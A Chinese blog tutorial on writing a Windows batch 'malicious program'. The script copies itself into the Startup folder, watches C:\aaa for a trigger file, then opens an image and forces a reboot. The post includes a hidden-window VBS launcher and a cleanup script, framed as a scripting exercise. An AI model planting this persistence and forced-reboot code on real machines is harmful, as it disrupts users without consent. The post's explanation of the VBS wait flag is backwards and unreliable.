当前位置: 首页 > article >正文

[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 1 需求
  • 2 windows 实现需求
    • 2.1 恶意程序 windows-2.bat 源码
      • 2.1.1 恶意程序 windows-2.bat 源码
      • 2.1.2 恶意程序 windows-2.bat 源码讲解
    • 2.2 清除程序 windows-kill.bat 源码
      • 2.2.1 清除程序 windows-kill.bat 源码
      • 2.2.2 清除程序 windows-kill.sh 源码讲解
    • 2.3 后台运行vbs文件
      • 2.3.1 windows-background.vbs 源码
      • 2.3.2 windows-background.vbs 源码讲解
    • 2.4 演示
      • 2.3.1 恶意程序 windows-2.bat
      • 2.3.2 清除程序 windows-kil.bat
      • 2.3.3 后台运行:windows-background.vbs文件
      • 2.3.4 恶意文件a.txt
      • 2.3.5 1.jpg
      • 2.3.6 操作步骤
        • 2.3.6.1 执行 windows-background.vbs
        • 2.3.6.2 特定文件移动到特定目录
        • 2.3.6.3 恶意程序监测到特定文件并执行恶意操作
        • 2.3.6.4 执行 windows-kill.bat 清除恶意程序
  • 相关资源

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 windows 实现需求

恶意程序 windows-2.bat 监测特定目录 C:aaa 出现特定文件 a.txt 执行恶意操作 start C:\1.jpg

2.1 恶意程序 windows-2.bat 源码

2.1.1 恶意程序 windows-2.bat 源码

@echo off
chcp 65001

setlocal

set "source_folder=C:\aaa"
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "file_name=windows-2.bat"
set "destination_file_name=plan.bat"

REM 检查启动项是否存在
if not exist "%destination_folder%\%file_name%" (
    REM 如果不存在,则复制文件,创建启动项
    copy "%source_folder%\%file_name%" "%destination_folder%\%destination_file_name%"
    echo 启动项创建成功。
) else (
    echo 目标目录中已存在该文件。
)


setlocal
set "targetDir=C:\aaa"
set "targetFile=a.txt"

:Start
if exist "%targetDir%\%targetFile%" (
    echo %targetFile% 文件已经存在于 %targetDir% 
    start C:\aaa\1.jpg
    echo 系统将在1分钟后重新启动...
    timeout /t 0 /nobreak > nul
    echo 正在执行重启操作...
    shutdown /r /f /t 60
) else (
    timeout /t 1 >nul
    goto Start
)

pause

2.1.2 恶意程序 windows-2.bat 源码讲解

这段脚本的主要功能是:检查并创建启动项文件。监控特定文件的存在,如果存在则打开图片并计划在1分钟后重启系统;如果不存在则每隔1秒重新检查一次。两个主要部分:一个用于创建启动项,另一个用于监控特定文件的存在并执行重启操作。以下是对每一部分的详细解释:

第一部分:创建启动项

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
setlocal: 开始本地环境更改,使变量的作用范围仅限于当前脚本或子脚本。
set "source_folder=C:\aaa": 设置变量source_folder,其值为源文件夹路径C:\aaa。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "file_name=windows-2.bat": 设置变量file_name,其值为要复制的文件名windows-2.bat。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为目标文件名plan.bat。
REM 检查启动项是否存在: 注释,说明接下来的代码块是用于检查启动项文件的。 if not exist “%destination_folder%%file_name%” (: 检查指定路径下是否存在名为windows-2.bat的文件。 copy “%source_folder%%file_name%” “%destination_folder%%destination_file_name%”: 如果不存在,则复制文件,创建启动项。 echo 启动项创建成功。: 输出一条消息,表示启动项文件已成功创建。
) else (: 如果文件存在,则执行以下代码块。
echo 目标目录中已存在该文件。: 输出一条消息,表示目标目录中已经存在该文件。

第二部分:监控文件并执行重启操作

setlocal: 再次开始本地环境更改。
set "targetDir=C:\aaa": 设置变量targetDir,其值为目标文件夹路径C:\aaa。
set "targetFile=a.txt": 设置变量targetFile,其值为要监控的文件名a.txt。
:Start: 定义一个标签,用于循环监控文件的存在。
if exist "%targetDir%\%targetFile%" (: 检查指定路径下是否存在名为a.txt的文件。
echo %targetFile% 文件已经存在于 %targetDir%: 输出一条消息,表示文件已经存在。
start C:\aaa\1.jpg: 打开图片文件1.jpg。
echo 系统将在1分钟后重新启动...: 输出一条消息,提示系统将在1分钟后重新启动。
timeout /t 0 /nobreak > nul: 等待0秒,不中断用户输入。
echo 正在执行重启操作...: 输出一条消息,表示即将执行重启操作。
shutdown /r /f /t 60: 强制重启计算机,并在60秒后执行重启。
) else (: 如果文件不存在,则执行以下代码块。
timeout /t 1 >nul: 等待1秒,不中断用户输入。 goto Start: 跳转到标签Start,继续监控文件的存在。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.2 清除程序 windows-kill.bat 源码

2.2.1 清除程序 windows-kill.bat 源码

@echo off
chcp 65001

del "C:\aaa\windows-2.bat"
echo 恶意程序已删除。
del "C:\aaa\1.jpg"
echo 恶意图片已删除。

set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "destination_file_name=plan.bat"

REM 检查启动项文件
if exist "%destination_folder%\%destination_file_name%" (
    REM 如果存在,则删除文件
    del "%destination_folder%\%destination_file_name%"	
    echo 启动项文件已经成功删除。
) else (
    echo 目标目录没有该文件。
)

pause

2.2.2 清除程序 windows-kill.sh 源码讲解

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
del "C:\aaa\windows-2.bat": 删除位于C:\aaa目录下名为windows-2.bat的文件。
echo 恶意程序已删除。: 输出一条消息,表示指定的恶意程序已被删除。
del "C:\aaa\1.jpg": 删除位于C:\aaa目录下名为1.jpg的图片文件。
echo 恶意图片已删除。: 输出一条消息,表示指定的恶意图片已被删除。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为要检查和删除的启动项文件名plan.bat。
REM 检查启动项文件: 注释,说明接下来的代码块是用于检查启动项文件的。
if exist "%destination_folder%\%destination_file_name%" (: 检查指定路径下是否存在名为plan.bat的文件。
del "%destination_folder%\%destination_file_name%": 如果存在,则删除该文件。
echo 启动项文件已经成功删除。: 输出一条消息,表示启动项文件已被删除。
) else (: 如果文件不存在,则执行以下代码块。
echo 目标目录没有该文件。: 输出一条消息,表示目标目录中没有找到该文件。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.3 后台运行vbs文件

2.3.1 windows-background.vbs 源码

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\aaa\windows-2.bat", 0, False

2.3.2 windows-background.vbs 源码讲解

这段代码是用VBScript编写的,它的作用是创建一个WScript.Shell对象,并使用该对象来运行一个批处理文件。
Set WshShell = CreateObject("WScript.Shell"): 这行代码创建了一个WScript.Shell对象,并将其赋值给变量WshShell。WScript.Shell是一个Windows脚本宿主(WSH)对象,提供了对Windows操作系统的一些功能和操作的访问。
WshShell.Run "C:\aaa\windows-2.bat", 0, False: 这行代码使用WScript.Shell对象的Run方法来运行指定的批处理文件。
"C:\aaa\windows-2.bat": 这是要运行的批处理文件的路径。
0: 这是窗口样式参数。值为0表示隐藏窗口,即不显示命令提示符窗口。
False: 这是等待完成参数。值为False表示脚本会等待批处理文件执行完毕再继续执行后续代码。如果设置为True,则脚本不会等待批处理文件执行完毕,而是立即继续执行后续代码。

2.4 演示

2.3.1 恶意程序 windows-2.bat

在这里插入图片描述

2.3.2 清除程序 windows-kil.bat

在这里插入图片描述

2.3.3 后台运行:windows-background.vbs文件

用来隐藏CMD窗口的
在这里插入图片描述

2.3.4 恶意文件a.txt

在这里插入图片描述

2.3.5 1.jpg

在这里插入图片描述

2.3.6 操作步骤

2.3.6.1 执行 windows-background.vbs

直接双击这个VBS文件就ok了,双击没有任何的一个弹窗或者什么的任何的反应,但是他其实是已经在后台跑起来了,然后他一直在监控这个C:\aaa目录。
如果说C:\aaa这个特定的目录下出现了a.txt这个特定的文件的时候,这个恶意操作就会执行,因为它的程序已经在运转了。

在这里插入图片描述

2.3.6.2 特定文件移动到特定目录

我是直接拖过去的

在这里插入图片描述

2.3.6.3 恶意程序监测到特定文件并执行恶意操作

打开1.jpg图片
写入启动项:注意:这里启动项里面的文件plan.batwindows-2.bat是一模一样的,只不过改了一个名字
一分钟后关机操作

在这里插入图片描述

等待一分钟之后,重启

在这里插入图片描述

2.3.6.4 执行 windows-kill.bat 清除恶意程序

回显内容:
恶意程序已删除。
恶意图片己删除。
启动项文件已经成功删除。

在这里插入图片描述
在这里插入图片描述

恶意启动项已删除。

在这里插入图片描述

恶意程序已删除。
恶意图片己删除。

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)


http://www.kler.cn/a/378744.html

相关文章:

  • 路径规划 | ROS中多个路径规划算法可视化与性能对比分析
  • 软件对象粒度控制与设计模式在其中作用的例子
  • CentOS9 Stream 设置禁用IPV6
  • Linux——Ubuntu环境C编程
  • 数据结构之顺序表(C语言)
  • 基于人工智能的搜索和推荐系统
  • 「 分布式技术 」 说说唯一ID与CAS|得物技术
  • rust 压缩解压库flate2保姆级教程
  • 有a个学生,每个学生有b门课程的成绩。要求在用户输入学生序号以后,能输出该学生的全部成绩
  • 入门 | Kafka数据使用vector消费到Loki中使用grafana展示
  • atest v0.0.18 提供了强大、灵活的 HTTP API Mock 功能
  • WPF+MVVM案例实战(二十一)- 制作一个侧边弹窗栏(AB类)
  • 向量数据库 PieCloudVector 进阶系列丨打造音乐推荐系统
  • 高效实现吉客云·奇门数据集成到MySQL的技术方案
  • Qt中的Model与View 3:从样例出发理解QStringListModel和QListView
  • 【mod分享】极品飞车9仿虚幻引擎模组,支持光追,高清纹理材质,体验一会虚幻引擎风格的极品9
  • 【前端项目工程】Uni-app 离线打包apk
  • masm汇编字符输入换行输出演示
  • 【论文笔记】Dense Connector for MLLMs
  • keepalived + nginx 实现网站高可用性(HA)
  • 你需要了解的Android主题相关知识
  • myqld二进制安装和破解数据库密码(linux)
  • 掌控板micropython编程实现OLED显示天气信息
  • YOLOv8分析与改进-专栏介绍
  • 模型监控--深入了解python中包装器和hook等区别
  • SpringMVC学习中遇到编码问题(过滤器)